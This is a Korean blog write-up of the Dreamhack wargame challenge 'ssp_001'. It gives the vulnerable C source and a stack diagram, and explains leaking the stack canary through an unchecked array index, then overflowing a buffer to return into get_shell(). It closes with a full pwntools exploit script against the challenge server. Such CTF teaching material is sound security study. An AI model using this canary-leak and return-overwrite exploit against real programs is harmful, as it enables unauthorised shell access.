본문 바로가기

Dreamhack/Wargame

[Wargame] ssp_001

1. 문제

C 코드와 실행파일이 주어진다. 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    
    initialize();

    while(1) {
        menu();
        read(0, select, 2);
        
        switch( select[0] ) {

            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;

            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;

            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;

            default:
                break;
        }

    }
}

 

2. 코드 분석

실행파일을 디컴파일하여 분석해보면, 아래와 같은 스택이 존재하는 것을 알 수 있다.

        +ㅡ+------------+--[ebp - 0x98]
        |  |    argv    |
        |  +------------+--[ebp - 0x94]
        |  |     idx    |        
        |  +------------+--[ebp - 0x90]
        |  |  name_len  |
        |  +------------+--[ebp - 0x8C]
        |  |            |        
   0x94 |  +------------+--[ebp - 0x8A]
        |  |   select   |
        |  +------------+--[ebp - 0x88]
        |  |     box    |
        |  +------------+--[ebp - 0x48]
        |  |    name    |
        |  +------------+--[ebp - 0x08]
        |  |   canary   |
        +ㅡ+------------+
           |     edi    |
           +------------+<- EBP
           |     SFP    |
           +------------+
           |     RET    |
           +------------+
           |    argc    |
           +------------+
           |    argv    |
           +------------+

 

3. 풀이

① case 'P'를 통해서, 카나리의 주소 값을 알아낸다.

- case 'P'는 box의 index를 입력받아, 해당 주소에 존재하는 값을 출력해주는 부분이다.

- 하지만 box배열 범위를 벗어나는 것에 대한 필터링이 없기 때문에 카나리 주소 값을 알아낼 수 있는 취약점이 존재한다.

- 카나리 시작 위치를 확인하기 위해 계산하면 0x88 - 0x08 = 0x80 (128byte)으로, box[128]부터 시작된다.

 

② 코드에 존재하는 get_shell( )의 주소값을 알아낸다.

- gdb를 이용하여, 0x080486b9가 get_shell( )의 시작 주소 값인 것을 알 수 있다.

 

③ 카나리릭 기법으로 우회하고  get_shell( ) 주소 값을 return 주소 값에 삽입하여,  shell을 획득할 수 있다.

 

4. Exploit Code

from pwn import *
import binascii

p = remote("host3.dreamhack.games", 18276)

canary_v = ""
give_sh = 0x080486b9

for i in range(128,132):
    p.recvuntil(b'> ')
    p.sendline(b'P')

    p.recvuntil(b'Element index : ')
    p.sendline(str(i))

    p.recvuntil(b'is : ')
    canary = p.recvn(2)
    print("canary[{}] :  {}".format(i,canary))
    canary_v += canary.decode('utf-8')

print("[+] Canary : {}\n\n".format(canary_v))
canary_v = binascii.unhexlify(canary_v)

p.recvuntil(b'> ')
p.sendline(b'E')

p.recvuntil(b'Name Size : ')
p.sendline(b'80')

print(p.recvuntil(b'Name : '))
payload = (b"A" * 0x40) + canary_v + (b'B' * 0x8) + p32(give_sh)
print(payload)
p.sendline(payload)

p.interactive()

'Dreamhack > Wargame' 카테고리의 다른 글

[Wargame] fho  (0) 2022.07.19
[Wargame] basic_rop_x86  (0) 2022.07.10
[Wargame] basic_rop_x64  (0) 2022.07.08
[Wargame] rop  (0) 2022.07.03
[Wargame] Return to Library  (0) 2022.07.02